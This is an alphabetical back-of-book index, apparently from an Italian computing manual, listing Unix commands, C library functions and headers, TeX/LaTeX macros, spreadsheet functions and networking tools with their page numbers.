4872 tee 964 TEI 3717 telecomando Wii 4075

telescrivente 577 tell() 1517 telnet 2379 TELNET 2378 telnetd 2378 telnetd.pem 2826 telnetrc 2379 Telnet-SSL 2826 tempfile 940 tempnam() 4836 tempo universale 503 termcap 631 Termcap 631 terminale 98 626 terminale a caratteri 625 641 1856 terminale virtuale 106 654 Terminfo 631 termios.h 4881 7762 terza di copertina 3115 test 881 916 958 TEST 4222 5613 testina 1022 testo a capo 8136 teTeX 3258 Tetris 1358 TeX 3258 texconfig 3259 textchk.rules 3189 TFTP 2382 2702 2969 tftp 2383 tftpd 2383 thebibliography 3449 Theora 2052 The Sleuth Kit 1241 1245 *thread* 4656 TIME 2384 TIME() 8283 time() 1525 4826 4902 5759 6836 time.c 6426 7788 time.h 4823 4902 6416 7771 times 881 times() 1525 TIMEVALUE() 8283 *timezone* 828 time_t 4561 4825 4825 4861 time_t.h 6247 7464 *time sharing* 92 *time slice* 92 Timidity++ 2014 TinyCOBOL 5092 tipo di dati 8098 Tkirc 2434 TLD 2237 TLS 2807 2811 tmpfile() 4836 4905 tmpnam() 4836 4905 TMP_MAX 4833 4905 toascii() 4750 TODAY() 8283 tolower() 4748 4895 Toolame 2021 top 479 torta 8206 TOSTOP 4883 touch 119 1185 5723 6788 touch.c 6552 7954 toupper() 4749 4895 tr 1292 tr// 1496 traboccamento 4194 4204 4250 5446 traccia 1022 1089 *trace* 5595 Traceroute 2182 traduttore 3193 traffico di rete 2747 trama 2120 Transcode 2062 *translation unit* 4496 *transparent proxy* 2681 trap 497 881 trascinamento 8148 *trigraph* 4446 4499 5488 Trivial FTP 2382 2702 Troff 1533 trojan 2707 TRONCA() 8286 true 881 957 4779 TRUE() 8283 TRUNC() 8286 try-from 2733 TSK 1241 TTY 98 626 tty 625 5724 5858 6788 6936 tty.c 6554 7955 tty.h 5659 5968 6226 7022 7116 ttyname() 4872 5848 6926 ttyname.c 6453 7825 ttyname_r() 4872 tty_console() 5659 6736 tty_console.c 6227 7116 tty_init() 5659 6736 tty_init.c 6228 7117 tty_public.c 7119 tty_read() 5659 6736 tty_read.c 6228 7119 tty_reference() 5659 6736 tty_reference.c 6229 7120 tty_t 5639 6685 tty_table.c 6230 tty_write() 5659 6736 tty_write.c 6230 7121 tupla 5167 Tuxpaint 1941 Twm 1797 type 881 typedef 4552 Typeit 721 types.h 4861 6413 7747 typeset 881 t_fifo.c 7945 t_grp.c 7947 t_pipe.c 7948 t_ret.c 7950 t_scr.c 7950 t_setjmp.c 7951 t_sig.c 7952 t_sig2.c 7953 U 4443 5485 UCB BSD 23 UCC 3974 UCC/EAN 128 3983 UCHAR_MAX 4723 4888 UCSPI 2275 uDev 337 udev.conf 337 udevd 337 UDF 1088 UDMA 370 UDP 2624 UHCI 391 uhci-hcd.ko 395 UID 92 uid_t 4861 UIN 2440 UINT16_C() 4728 4889 UINT16_MAX 4727 4889 uint16_t 4727 4889 UINT32_C() 4728 4889 UINT32_MAX 4727 4889 uint32_t 4727 4889 UINT64_C() 4728 4889 UINT64_MAX 4727 4889 uint64_t 4727 4889 UINT8_C() 4728 4889 UINT8_MAX 4727 4889 uint8_t 4727 4889 UINTMAX_C() 4731 4889 UINTMAX_MAX 4731 4889 uintmax_t 4731 4889 UINTPTR_MAX 4730 4889 uintptr_t 4730 4889 UINT_FAST16_MAX 4729 4889 uint_fast16_t 4729 4889 UINT_FAST32_MAX 4729 4889 uint_fast32_t 4729 4889 UINT_FAST64_MAX 4729 4889 uint_fast64_t 4729 4889 UINT_FAST8_MAX 4729 4889 uint_fast8_t 4729 4889 UINT_LEAST16_MAX 4728 4889 uint_least16_t 4728 4889 UINT_LEAST32_MAX 4728 4889 uint_least32_t 4728 4889 UINT_LEAST64_MAX 4728 4889 uint_least64_t 4728 4889 UINT_LEAST8_MAX 4728 4889 uint_least8_t 4728 4889 UINT_MAX 4723 4888 UL 4443 5485 ul 1280 ulimit 881 918 ULL 4443 5485 ULLONG_MAX 4723 4888 ULONG_MAX 4723 4888 Ultra ATA 373 Ultra DMA 370 *umask* 139 umask 881 umask() 1525 4865 4920 5760 6837 umask.c 6413 7747 umount 154 1066 5865 6945 umount() 5745 6813 umount.c 6404 6555 7732 7957 unable to open an initial console 341 348 unalias 881 uname 555 undefine 1444 undivert 1448 unexpand 1291 ungetc() 4850 4905 Uniboard 4084 *unicast* 2196 Unicode 636 3141 3147 5017 unicode 3166 UniFlash 416 *uniform code council* 3974 union 4550 unione 4550 uniq 1288 unistd.h 4672 4871 6426 7788 unità a dischetti 308 unità di codifica 3143 3146 unità di traduzione 4469 4496 Universal

coordinated time 503 *universal internet number* 2440 Universal time 503 UNIX 2 unixclient 2278 unixODBC 5315 unixserver 2278 *Unix client-server program interface* 2275 *Unix domain socket* 97 2273 2275 Uni 6015 3120 UNI 936 3105 unless 1472 unlink 1207 unlink() 1512 4701 4872 4878 5761 6838 unlink.c 6454 7826 *unmount* 93 unp 1223 Unproto 4577 unset 881 unsetenv() 5833 6911 unsetenv.c 6367 7675 unsigned 4441 5482 until 877 1473 UPC-A 3972 UPC-E 3972 UPDATE 5195 update-alternatives 1359 uptime 485 UPX 1221 URI 95 2567 3737 URL 95 2567 3737 URN 3737 USAGE 4989 USB 388 391 useradd 768 794 795 userdel 796 usermod 796 users 763 USHRT_MAX 4723 4888 USS Code 128 3980 US-ASCII 3151 UT 503 UTC 503 utente 70 utenza 79 UTF-8 636 3148 *utility* 70 97 utilità 97 utime() 1512 utime.c 6456 7834 utime.h 6456 7828 utmp 758 Uuencode 2493 u-area 5686 6709 V7fs 54 VAL.DISPARI() 8286 VAL.PARI() 8286 validità 8249 valore di uscita 859 valore logico 8181 VALUE 4993 VALUE OF 4981 variabile di ambiente 81 851 940 variabile predefinita 1456 *variable bit rate* 1950 2048 va_arg 4537 va_arg() 4752 4887 va_copy() 4752 4887 va_end 4537 va_end() 4752 4887 va_list 4537 4559 4752 4887 va_start 4537 va_start() 4752 4887 VBR 1950 2048 vcs* 652 738 vcsa* 738 vdir 1162 ventola 358 VEOF 4881 VEOL 4881 VERASE 4881 verbatim 3424 verifica di un *file system* 1040 verme 2707 VERO() 8283 verse 3423 vesafb 643 VESA local bus 381 vettore 4173 5461 vfprintf() 4845 4911 5849 6927 vfprintf.c 6292 7594 vfscanf() 4849 4914 5850 6928 vfscanf.c 6293 7595 vfsscanf.c 6293 7595 VGA 641 6577 VI 141 1321 video 2047 2052 2054 Video electronics standards association 381 VINTR 4881 virgola mobile 4189 5443 virus 2707 VKILL 4881 VLB 381 VLC 2052 vlock 2772 VLOOKUP() 8291 8291 VMIN 4881 VNC 1823 2997 vnc.conf 1830 vncpasswd 1827 vncrc 1835 vncserver 1825 vocabolario 3193 void 4449 4462 4556 5491 5514 volatile 4448 vorbiscomment 2022 Vorbis Tools 2022 vprintf() 4603 4845 4911 5849 6927 vprintf.c 6319 7622 VQUIT 4881 vrms 31 vscanf() 4607 4849 4914 5850 6928 vscanf.c 6320 7623 vsnprintf() 4845 4911 5849 6927 vsnprintf.c 6321 7623 vsprintf() 4845 4911 5849 6927 vsprintf.c 6339 7644 vsscanf() 4849 4914 5850 6928 vsscanf.c 6340 7645 VSTART 4881 VSTOP 4881 VSUSP 4881 VTIME 4881 w 763 W3M 2545 wait 881 wait() 4651 5761 6838 wait.c 6415 7761 wait.h 6415 7755 wall 2423 WampServer 8439 WAN 2115 warn() 1529 *watermark* 2855 Wavtools 1987 WAV-RIFF 1965 1967 1987 1987 Wayback Machine 175 wc 1285 WCHAR_MAX 4732 4889 WCHAR_MIN 4732 4889 wchar_t 4560 4564 4732 4779 4889 wchar_t.h 6247 7465 wcstoimax() 4778 wcstombs() 4769 4897 wcstouimax() 4778 wctomb() 4768 4897 Wdm 1815 Webalizer 2604 2976 webalizer.conf 2604 WEEKDAY() 8283 WEEKNUM() 8283 WEEKS() 8283 WEEKSINYEAR() 8283 WEOF 4584 Wget 2610 wgetrc 2611 whatis 164 whereis 1168 which 1168 while 877 1473 4458 5509 Whiptail 951 who 764 whoami 765 Whois 2237 *wide char* 3151 *wide string* 3151 WiFi 2283 Wiimote 4075 WiimoteWhiteboard 4083 Windows 832 WINT_MAX 4732 4889 WINT_MIN 4732 4889 wint_t 4560 4732 4889 *wireless* 2283 Wireless-tools 2299 Wireshark 2761 wmgui 4076 wminput 4075 Wodim 1099 *word* 4215 WORD_BIT 4725 WORKING-STORAGE SECTION 4985 Worm 1357 *worm* 2707 Worms 1355 wpa_supplicant 2304 wpa_supplicant.conf 2304 2305 WPA Supplicant 2304 write 2423 WRITE 5073 write() 4676 4872 5763 6840 write.c 6455 7827 wtmp 758 811 WWW-SQL 5266 W_OK 4872 X 1715 1729 2703 2886 X 1734 1736 X.Org 1715 x86 4245 x86-16 5594 x86-32 4213 Xalan 3574 3588 3717 Xampp 8439 xargs 931 xauth 1739 xbiff 1869 xcalc 1870 XCHG 4217 5600 xclipboard 1857 xclock 1870 Xdialog 951 Xdm 1812 xdm-config 1812 xdpyinfo 1862 xev 1784 XF86Config 1720 1721 1750 1754 1770 XF86Config-v4 1720 xfd 1860 XFE 1871 xferc 1871 XFig 1883 xfontsel 1859 XFree86 1715 xgrab 1916 xhost 1742

xidle 1869 xinit 1730 xinitrc 1734 xkbcomp 1783 xkbprint 1775 xkill 1869 XLATB 5602 xload 1869 Xloadimage 1917 Xloadimage 1923 xlock 2772 xlsfonts 1859 xmem 1869 XML 3565 XMLTeX 3674 3717 Xmms 2030 xmodmap 1784 1786 xntpd 2387 xon 1743 XOR 4220 5608 xor 4778 XOR 4099 4207 5457 xorg.conf 1720 1721 2952 xor_eq 4778 Xpaint 1924 XPath 3574 xpdf 1620 xrdb 1854 Xrealvnc 1827 xserverrc 1734 Xsession 1810 1815 xset 1864 xsetroot 1866 XSL 3574 3596 3631 3645 3671 xsl:apply-templates 3578 xsl:attribute 3586 xsl:comment 3587 xsl:element 3586 xsl:output 3583 xsl:processing-instruction 3587 xsl:stylesheet 3577 xsl:template 3578 xsl:text 3584 xsl:transform 3577 xsl:value-of 3585 XSLT 3574 3671 XSL-FO 3596 3601 3631 3645 3671 xsteg 2859 Xtightvnc 1827 xtrlock 2773 xvidtune 1766 Xvnc 1827 xvncviewer 1831 Xwave 1998 xwd 1915 xwininfo 1861 xwud 1916 X_OK 4872 y// 1496 YEAR() 8283 YEARFRAC() 8283 YEARS() 8283 yes 950 6789 yes.c 7958 YP 2329 yp.conf 2346 2347 ypbind 2346 2347 ypcat 2349 ypchfn 2349 ypchsh 2349 ypdomainname 2335 ypinit 2341 2341 2344 ypmatch 2349 yppasswd 2349 ypserv 2334 2336 ypserv.conf 2334 2338 ypserv.securenets 2334 2340 ypwhich 2344 2349 ypxfr_1perday 2344 ypxfr_1perhour 2344 ypxfr_2perhour 2344 ytalk 2425 yuvplay 2059 zcat 1215 zegrep 1394 *zero* 4201 4216 5595 zero 5858 6936 *zero terminated string* 4179 5467 zfgrep 1394 zgrep 1394 Zinf 2034 2040 Zisofs 1091 1107 Zisofs-tools 1107 zno_t 5639 6685 zombie 4653 zona 8094 zone_alloc() 5667 5930 6746 6986 zone_alloc.c 6114 7202 zone_free() 5667 5930 6746 6986 zone_free.c 6115 7203 zone_print() 6746 6987 zone_print.c 7204 zone_read() 5667 5931 6746 6987 zone_read.c 6116 7205 zone_write() 5667 5931 6746 6987 zone_write.c 6117 7206 z_perror() 5764 6841 z_perror.c 6404 7733 z_printf() 5764 6841 z_printf.c 6405 7734 z_putchar() 5764 z_putchar.c 6405 z_puts() 5764 z_puts.c 6406 z_vprintf() 5764 6841 z_vprintf.c 6406 7734 # 4437 5476 #define 4470 #define() 4472 #define()...# 4472 #define()...## 4472 #define()...__VA_ARGS__ 4472 #define...## 4470 #DIV/0! 8170 #elif 4476 #else 4476 #endif 4476 #error 4483 #if 4476 #ifdef 4477 #ifndef 4477 #if !defined 4477 #if defined 4477 #include 4469 #line 4480 #N/D 8170 #NOME? 8170 #NUM! 8170 #pragma 4484 #RIF! 8170 #undef 4479 #VALORE! 8170 ### 8170 & 3334 3456 4449 4452 4500 5491 5499 5541 &* 4517 &= 4449 4452 5491 5499 && 4449 4451 5491 5497 " " 1492 ^ 3355 3481 4449 4452 5491 5499 ^= 4449 4452 5491 5499 <^*c*> 458 <^\> 458 ~ 4449 4452 5491 5499 ~= 4449 4452 5491 5499 \(3470 \) 3470 \+ 3334 \... 4443 5487 \0 4443 5487 \= 3451 \? 4443 5487 \a 4443 5487 \above 3354 3481 \addcontentsline 3440 \addtocontents 3440 \addtocounter 3387 \addtolength 3386 \addvspace 3429 \advance 3277 \alph 3387 \Alph 3387 \appendix 3376 3394 \arabic 3387 \atop 3354 3481 \author 3376 3393 \b 4443 5487 \baselineskip 3306 3320 3414 \begin{document} 3393 \bf 3294 \bfseries 3408 \bgroup 3271 \bibitem 3449 \Big 3479 \big 3479 \bigg 3479 \Bigg 3479 \biggl 3359 3479 \Biggl 3359 3479 \Biggr 3359 3479 \biggr 3359 3479 \bigl 3359 3479 \Bigl 3359 3479 \Bigr 3359 3479 \bigr 3359 3479 \bigskip 3317 3429 \bigskipamount 3317 3429 \break 3300 3320 \bye 3269 \caption 3425 \centerline 3414 \chapter 3376 3394 \choose 3354 3481 \circle 3464 \cite 3449 \cleaders 3325 \cleardoublepage 3399 3425 \clearpage 3399 3425 \cline 3456 \closeout 3490 \colon 3353 \columns 3334 \countdef 3274 \cr 3334 \dashbox 3464 \date 3376 3393 \def 3282 \displaylines 3360 \displaystyle 3352 3480 \divide 3277 \documentclass 3376 3391 \dotfill 3325 3428 \doublespacing 3432

\egroup 3271 \eject 3300 \emph 3411 \end 3300 \endfoot 3462 \endhead 3462 \endinsert 3305 \end{document} 3393 \enskip 3323 \enspace 3323 \epsfig 3468 \eqalign 3363 \eqalignno 3363 \eqno 3363 \evensidemargin 3398 \everydisplay 3346 \everymath 3346 \expandafter 3281 \f 4443 5487 \fbox 3412 3433 \fboxrule 3433 \fboxsep 3433 \flushbottom 3399 \fnsymbol 3387 \folio 3304 \font 3294 \fontencoding 3411 \fontfamily 3411 \fontseries 3411 \fontshape 3411 \fontsize 3408 3411 \footline 3303 \footnote 3304 3405 \footnotemark 3405 \footnotesize 3407 \footnotetext 3405 \footskip 3398 \frac 3481 \frame 3412 3464 \framebox 3433 \frenchspacing 3309 3384 3385 \global 3280 \halign 3339 \hangafter 3310 \hangindent 3310 \hbadness 3315 \hbox 3328 \headheight 3398 \headline 3303 \headsep 3398 \hfil 3303 3320 \hfill 3320 3428 \hfilll 3320 \hfuzz 3315 \hline 3334 3456 3483 \hoffset 3300 3306 3398 \hrulefill 3325 3428 \hsize 3300 3306 \hskip 3323 \hspace 3428 \hss 3323 \Huge 3407 \huge 3407 \hyphenation 3405 \ifhmode 3288 \ifmmode 3288 \ifnum 3288 \ifodd 3287 \ifvmode 3288 \immediate 3490 \include 3489 \includegraphics 3468 \includeonly 3489 \indent 3414 \index 3445 \input 3273 3489 \it 3294 \item 3312 3416 \itemsep 3416 \itshape 3408 \jobname 3490 \kern 3325 \kill 3451 \label 3443 \labelitemi 3416 \labelitemii 3416 \labelitemiii 3416 \labelitemiv 3416 \Large 3407 \LARGE 3407 \large 3407 \leaders 3325 \leavevmode 3325 \leftarrowfill 3325 \leftline 3320 \leftskip 3306 3414 \leqalignno 3363 \leqno 3363 \let 3285 \line 3320 3464 \linebreak 3399 \lineskip 3320 \lineskiplimit 3320 \linespread 3432 \linethickness 3464 \linewidth 3414 \listoffigures 3425 3440 \listoftables 3425 3440 \llap 3328 \lower 3320 \lowercase 3274 \lq 3293 \magnification 3300 \magstep 3294 \makebox 3433 3464 \makeindex 3445 \maketitle 3376 3393 \markboth 3403 \markright 3403 \mathbf 3408 \mathcal 3408 \mathit 3408 \mathrm 3408 \mathsf 3408 \mathstrut 3328 \mathtt 3408 \matrix 3360 \mbox 3405 3433 \medskip 3317 3429 \medskipamount 3317 3429 \midinsert 3305 \minipage 3433 \mit 3346 \moveleft 3332 \moveright 3332 3334 \multiply 3277 \multispan 3339 \n 4443 5487 \narrower 3306 \negthinspace 3323 \newcommand 3380 \newcount 3274 \newcounter 3387 \newdimen 3275 \newenvironment 3380 \newlength 3386 \newline 3399 \newpage 3399 \newskip 3276 \newtheorem 3485 \newtoks 3273 \newwrite 3490 \noalign 3339 \noindent 3306 3414 \nonfrenchspacing 3309 \nopagebreak 3399 \nopagenumbers 3303 \normalbottom 3300 \normalfont 3408 \normalsize 3407 \null 3328 \number 3279 \numberline 3440 \oddsidemargin 3398 \of 3356 \offinterlineskip 3339 \omit 3339 \onecolumn 3399 \onehalfspacing 3432 \openout 3490 \oval 3464 \over 3354 3481 \overbrace 3479 \overfullrule 3315 \overline 3356 3412 3479 \pagebreak 3399 \pageinsert 3305 \pageno 3303 3304 \pagenumbering 3404 \pageref 3443 \pagestyle 3403 \paperheight 3398 \paperwidth 3398 \par 3269 3306 3414 \paragraph 3376 3394 \parbox 3433 3451 \parindent 3306 3414 \parshape 3310 \parskip 3306 3317 3414 \part 3376 3394 \pmatrix 3360 \poptabs 3451 \printindex 3445 \proclaim 3362 \pushtabs 3451 \put 3464 \qquad 3323 \quad 3323 \r 4443 5487 \raggedbottom 3300 3399 \raggedleft 3414 \raggedright 3306 3414 \raise 3320 \raisebox 3413 \ref 3443 \refstepcounter 3387 \relax 3287 \renewcommand 3380 \renewenvironment 3380 \rightarrowfill 3325 \rightline 3320

\rightskip 3306 3414 \rlap 3328 \rm 3294 \rmfamily 3408 \Roman 3387 \roman 3387 \romannumeral 3279 \root 3356 \rq 3293 \rule 3437 \samepage 3399 \scriptscriptstyle 3352 3480 \scriptsize 3407 \scriptstyle 3352 3480 \scshape 3408 \section 3376 3394 \selectfont 3408 3411 \setcounter 3387 \setlength 3386 \settabs 3334 \settodepth 3386 \settoheight 3386 \settowidth 3386 \sffamily 3408 \singlespacing 3432 \sl 3294 \slshape 3408 \small 3407 \smallskip 3317 3429 \smallskipamount 3317 3429 \sqrt 3356 3481 \stackrel 3481 \stepcounter 3387 \stretch 3431 \string 3490 \strut 3328 3334 3352 \subparagraph 3376 3394 \subsection 3376 3394 \subsubsection 3376 \supereject 3300 \t 4443 5487 \tableofcontents 3376 3393 3440 \textasciicircum 3406 \textasciitilde 3406 \textbackslash 3406 \textbf 3408 \textheight 3398 \textit 3408 \textnormal 3408 \textrm 3408 \textsc 3408 3408 \textsf 3408 \textsl 3408 \textstyle 3352 3480 \texttt 3408 \textup 3408 \textwidth 3398 \thanks 3393 \the 3273 3279 3386 3387 \theenumi 3416 \theenumii 3416 \theenumiii 3416 \theenumiv 3416 \thinspace 3323 \thispagestyle 3403 \tiny 3407 \title 3376 3393 \tolerance 3315 \topinsert 3305 \topmargin 3398 \tt 3294 \ttfamily 3408 \twocolumn 3399 \underbar 3299 \underbrace 3479 \underline 3328 3356 3412 3479 \unitlength 3464 \uppercase 3274 \upshape 3408 \usebox 3437 \usefont 3411 \usepackage 3376 \usepackage{float} 3425 \usepackage{latexsym} 3473 \usepackage{longtable} 3462 \usepackage{makeidx} 3445 \usepackage{setspace} 3432 \usepackage{verbatim} 3489 \usepackage[italian]{babel} 3383 3385 \usepackage[T1]{fontenc} 3384 3385 \usepackage[utf8x]{inputenc} 3384 3385 \v 4443 5487 \value 3387 \vbadness 3315 \vbox 3328 \vcenter 3328 \vector 3464 \verb 3424 \verbatiminput 3489 \vfil 3317 \vfill 3300 3317 3399 3429 \vfuzz 3315 \vglue 3317 \voffset 3300 3398 \vrule 3339 \vsize 3300 \vskip 3317 \vspace 3429 \vss 3317 \vtop 3328 \write 3490 \x... 4443 5487 \xleaders 3325 \# 3406 \& 3406 \" 4443 5487 \\ 3451 3456 4443 5487 \{ 3406 \} 3406 \$ 3406 _ 3406 \' 4443 5487 \> 3451 \[3470 \% 3406 \] 3470 | 4449 4452 5491 5499 |= 4449 4452 5491 5499 || 4449 4451 5491 5497 {...} 4437 5476 $ 3470 $! 851 $* 851 $0 851 $1 851 $? 851 $BLOCK_SIZE 1155 $CVSIGNORE 2405 $DICTIONARY 3178 $DISPLAY 1736 $EDITOR 1351 $ENV 848 $ftp_proxy 2631 $gopher_proxy 2631 $HOSTNAME 554 $http_proxy 2631 $LANG 821 2948 $LANG_FOR_X 2893 2948 $LC_ALL 821 $LC_COLLATE 821 $LC_CTYPE 821 $LC_MONETARY 821 $LC_NUMERIC 821 $LC_TIME 821 $LD_LIBRARY_PATH 228 $LD_PRELOAD 1245 $LESSCHARSET 161 825 $LS_COLORS 1166 $MAIL 760 2468 2469 $OPTARG 888 $OPTIND 888 $PATCH_VERSION_CONTROL 1315 $PATH 1168 $PGDATA 5216 5217 $PGHOST 5227 $PGPORT 5227 $PGTZ 5257 $POSIXLY_CORRECT 1069 1071 1155 1167 1379 $PRINTER 1642 $RESOLV_HOST_CONF 2230 $RESOLV_SERV_MULTI 2230 $RESOLV_SERV_ORDER 2230 $RSYNC_PASSWORD 2411 $RSYNC_RSH 2405 $SGML_CATALOG_FILES 3525 3526 $SGML_SEARCH_PATH 3525 3526 $SIMPLE_BACKUP_SUFFIX 1190 1193 1315 $TERM 633 $TERMINFO 631 $TEXEDIT 3266 $TZ 828 $VERSION_CONTROL 1190 1193 1315 $wais_proxy 2631 $# 851 $@ 851 $$ 851 3470 $- 851 _ 3355 3481 _alloc_list.c 7676 _Bool 4556 _Bool.h 6237 _bp() 5649 _bp.s 6394 _cli.s 6121 _cs() 5649 _cs.s 6395 _ds() 5649 _ds.s 6395 _es() 5649 _es.s 6395 _exit() 4872 5725 6791 _Exit() 4762 4897 5725 6791 _exit.c 6427 7796 _Exit.c 6342 7653 _gcc.h 7465 _int10_00() 5650 _int10_00.s 6122 _int10_02() 5650 _int10_02.s 6123 _int10_05() 5650

_int10_05.s 6124 _int12() 5650 _int12.s 6124 _int13_00() 5650
_int13_00.s 6125 _int13_02() 5650 _int13_02.s 6125 _int13_03() 5650
_int13_03.s 6127 _int16_00() 5650 _int16_00.s 6128 _int16_01() 5650
_int16_01.s 6128 _int16_02() 5650 _int16_02.s 6129 _in_16() 5650 6696
_in_16.s 6121 7218 _in_32.s 7217 _in_8() 5650 6696 _in_8.s 6122 7218
_IOFBF 4833 4905 _IOLBF 4833 4905 _IONBF 4833 4905 _isr.s 5678 6171
_ivt_load() 5941 _ivt_load.s 5678 6176 _lldiv.c 7473 _out_16() 5650
6696 _out_16.s 6130 7219 _out_32.s 7219 _out_8() 5650 6696 _out_8.s 6130
7220 _POSIX2_... 4725 _POSIX_... 4725 _Pragma 4484 _PROTOTYPE 4573
_ram_copy() 5650 _ram_copy.s 6131 _seg_d() 5649 _seg_d.s 6396
_seg_i() 5649 _seg_i.s 6396 _sighandler_wrapper.s 7566 _sp() 5649
_sp.s 6396 _ss() 5649 _ss.s 6397 _sti.s 6131 _ulldiv.c 7474 _XOPEN_...
4725 __bool_true_false_are_defined 4779 __DATE__ 4484 __divdi3.c
7471 __FILE__ 4484 __func__ 4541 __LINE__ 4484 __moddi3.c 7472
__STDC_HOSTED__ 4484 __STDC_IEC_559__ 4484 __STDC_IEC_COMPLEX__
4484 __STDC_ISO_10646__ 4484 __STDC_VERSION__ 4484 __STDC__ 4484
__TIME__ 4484 __udivdi3() 4722 __udivdi3.c 7472 __umoddi3() 4722
__umoddi3.c 7473 __VA_ARGS__ 4472 ’...’ 4443 5485 ’ ’ 1491 , 4454 5502 - 4449
4450 5491 5493 -= 4449 4450 5491 5493 -background 1851 -display 1848 -font
1852 -foreground 1851 -geometry 1849 -title 1851 -x 1512 -xrm 1855 -- 4449
4450 5491 5493 -> 4546 < 4449 4451 5491 5496 <= 4449 4451 5491 5496 << 4449 4452
5491 5499 <<= 4449 4452 5491 5499 > 4449 4451 5491 5496 >= 4449 4451 5491 5496 >>
4449 4452 5491 5499 >>= 4449 4452 5491 5499 [958 % 4449 4450 5491 5493 %+... 4598
4840 %...c 4598 4606 4840 %...d 4598 4606 4840 %...e 4598 4606 4840 %...f 4598 4606
4840 %...g 4606 4840 %...hd 4598 4606 4840 %...hhd 4606 4840 %...hhi 4606 4840 %...hhn
4840 %...hho 4606 4840 %...hhu 4606 4840 %...hhx 4606 4840 %...hi 4598 4606 4840
%...hn 4840 %...ho 4598 4606 4840 %...hu 4598 4606 4840 %...hx 4598 4606 4840 %...i
4598 4606 4840 %...lc 4598 4606 4840 %...ld 4598 4606 4840 %...Le 4598 4606 4840
%...Lf 4598 4606 4840 %...Lg 4606 4840 %...li 4606 4840 %...lld 4598 4606 4840 %...lli
4606 4840 %...lln 4840 %...llo 4598 4606 4840 %...llu 4598 4606 4840 %...llx 4598
4606 4840 %...ln 4840 %...lo 4598 4606 4840 %...ls 4598 4606 4840 %...lu 4598 4606
4840 %...lx 4598 4606 4840 %...n 4840 %...o 4598 4606 4840 %...s 4598 4606 4840 %...u
4598 4606 4840 %...x 4598 4606 4840 %0... 4598 4840 %= 4449 4450 5491 5493 %-... 4598
4840 ` ` 1492